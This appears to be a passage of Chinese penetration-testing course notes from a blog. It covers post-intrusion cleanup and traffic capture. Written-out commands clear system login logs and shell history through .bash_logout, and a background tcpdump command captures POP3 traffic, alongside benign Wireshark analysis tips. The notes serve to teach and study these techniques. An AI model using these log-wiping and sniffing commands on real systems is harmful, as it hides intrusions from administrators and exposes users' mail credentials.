/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
执行红色加粗部分命令。
或者直接把以上所有命令写入当前用户目录的.bash_logout。

~/.bash_logout
echo > /var/log/lastlog
echo > /var/log/secure
echo > /var/log/btmp
echo > /var/log/wtmp
history -c
echo > ./.bash_history
clear
nohup tcpdump -i eth0 port 110 -C 5 -w pop.pcap &
后台抓取110端口数据包,每个包5M,自动保存到pop文件中
& : 指在后台运行
nohup : 不挂断的运行,注意并没有后台运行的功能,,就是指,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系,例如我们断开SSH连接都不会影响的运行,注意了nohup没有后台运行的意思;&才是后台运行
第12章 补充
任务70:协议分析1.exe
企业级抓包,一般在公司网络出口部署抓包系统。进出公司 流量每天大概500G。
使用wireshark抓包,使用多个文件,每个文件设置大小。300M
不使用pcap-ng格式。
可以设置抓包筛选器以针对性的抓包,提高效率。
也可以全部抓取。
抓的时候没有文件名,添加pcap文件后缀。
wireshark的易用性,不太友好。
windows平台上有个比较友好的抓包软件:WildPackets
打开后进行抽样分析。
通常先做统计、分析、报表。
nodes 查看流量最大的IP
Protocols过滤不需要的协议
根据不同协议进行分类,然后打开分析,分析完毕后可以隐藏进行下一步分析。
save server date
save payload 把文件另存到别的地方
可以执行查找,选中packet ascii data字符,查找.doc,流的形式在新窗口打开。
可以把抓到的包重放到IDS里,自动分析。
可以手动逐个包进行分析。
第11章 无线攻击
单独记录
第13章 Web渗透
单独记录
————————————————
原文链接:https://blog.csdn.net/imtech/article/details/86521173

Logo

更多推荐